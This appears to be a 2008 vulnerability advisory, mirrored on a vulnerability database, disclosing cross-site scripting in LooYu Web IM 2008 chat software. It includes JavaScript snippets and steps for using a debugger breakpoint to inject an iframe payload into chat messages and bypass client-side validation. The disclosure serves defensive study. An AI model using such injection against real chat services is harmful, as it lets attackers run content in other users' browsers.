Lucene search
K

looyu-xss.txt

🗓️ 19 Sep 2008 00:00:00Reported by xisigrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

LooYu Web IM 2008 XSS Vulnerabilitie

Code
`Application: LooYu Web IM  
Vendor: www.looyu.com  
Corporation: DuoYou, Inc.  
Version: Latest: (19 SEP 2008) - Home Edition, Enterprise & Professional  
Description: LooYu Web IM 2008 Cross-Site Scripting Vulnerabilities  
  
Background:  
==============  
LooYu is a web-based group chat tool that lets invite a client,  
colleague, or vendor to chat, and collaborate.  
  
Vulnerability:  
==============  
They do not properly sanitize the potentially malicious input content  
to be rendered and, as a result, an attacker might provide malicious  
HTML content as part of an IM message. There is a client-side only  
input validation.  
  
Exploit:  
==============  
1. newVisitorChat.js  
  
(1)function sendMessage() {  
..................  
..................  
save_message(replaceHtml(msg));  
}  
  
(2)function save_message(msg) {  
var m = msg; //BREAKPOINT  
for(var e in emots){  
if(m.indexOf(e)!=-1){   
m = m.replace(e,emots[e]);   
}  
  
}  
addMsg_chat(m, "you"/*getShortId(visitorId)*/, "visitor",null,'send');  
..................  
..................  
}  
SET BREAKPOINT(firebug, etc), AND SET NEW VALUE:  
msg = "<iframe width=800 height=600 src='htTP://WWW.G.CN'></iframe>"  
  
  
2. newCusChat.js  
  
(1)function sendMessage() {  
..................  
..................  
save_message(replaceHtml(msg));  
..................  
..................  
}  
  
(2)function saveMessage(msg) {  
showLocalMessage(msg);  
Chat.addMessage(companyId,currentVisitor.chatId,customerId,currentVisitor.getTar(),  
msg,{callback:function(m){  
save_message_do(currentVisitor,m); //BREAKPOINT  
}});  
}  
SET BREAKPOINT(firebug, etc), AND SET NEW VALUE:  
msg = "<iframe width=800 height=600 src='htTP://WWW.G.CN'></iframe>"  
  
=========================  
xisigr[topsec]  
[email protected]  
  
  
  
--   
----xisigr----  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation